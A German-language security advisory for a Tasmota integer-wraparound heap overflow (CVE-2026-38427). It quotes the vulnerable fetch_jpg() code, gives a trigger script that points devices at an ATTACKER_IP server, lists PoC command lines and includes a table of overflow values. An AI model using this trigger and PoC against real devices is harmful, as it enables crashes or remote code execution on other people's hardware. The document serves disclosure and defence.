
CVE-2026-38427 — Integer-Wraparound → Heap-Pufferüberlauf in Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38427
Schweregrad: Kritisch (CVSS 9.8)
Produkt: Arendst Tasmota
Betroffene Version: <= 15.3.0.3
Datei: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Funktion: fetch_jpg() — Fall 2 (MJPEG-Frame-Abruf)
Autor: Saidakbarxon Maxsudxonov
Offenlegung: Verantwortungsvoll — vor der Veröffentlichung an Tasmota gemeldet
In der Funktion fetch_jpg() des Scripter-Treibers von Tasmota existiert eine uint16_t-Integer-Wraparound-Schwachstelle. Wenn ein Tasmota-Gerät MJPEG-Frames von einem angreiferkontrollierten Server abruft, wird der Content-Length-Headerwert über atoi() in eine uint16_t-Variable eingelesen. Werte größer als 65535 werden stillschweigend umgebrochen (z. B. 65537 → 1), was dazu führt, dass ein drastisch zu kleiner Heap-Puffer zugewiesen wird. Das Gerät liest dann nur die umgebrochene Anzahl an Bytes aus dem Stream und lässt den Rest im Streampuffer zurück, was zu einer Beschädigung des Heap-/Stream-Zustands führt und einen Absturz (DoS) oder eine potenzielle Remote-Codeausführung verursacht.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() returns int 70000
// IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — too small!
if (buff) {
stream.readBytes(buff, size); // reads only 4464 bytes
// 65536 bytes remain in stream → corruption
}
Ein Angreifer, der ein Tasmota-Gerät dazu bringen kann, sich mit seinem HTTP-Server zu verbinden (über ein bösartiges Tasmota-Skript oder MITM), kann MJPEG-Frames mit Content-Length-Werten senden, die 65535 überschreiten. Das Gerät wird:
Auslösen per Tasmota-Skript:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
Der PoC startet einen gefälschten MJPEG-HTTP-Server, der Frames mit bösartigen Content-Length-Werten sendet:
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
Siehe CVE-2026-38427_poc.py für die vollständige Implementierung.
| Content-Length (Header) | uint16_t-Wert | Zugewiesener Puffer | Ungelesene Bytes |
|---|
| 65536 | 0 | 0 (übersprungen) | 65536 |
| 65537 | 1 | 1 Byte | 65536 |
| 70000 | 4464 | 4464 Bytes | 65536 |
| 131072 | 0 | 0 (übersprungen) | 131072 |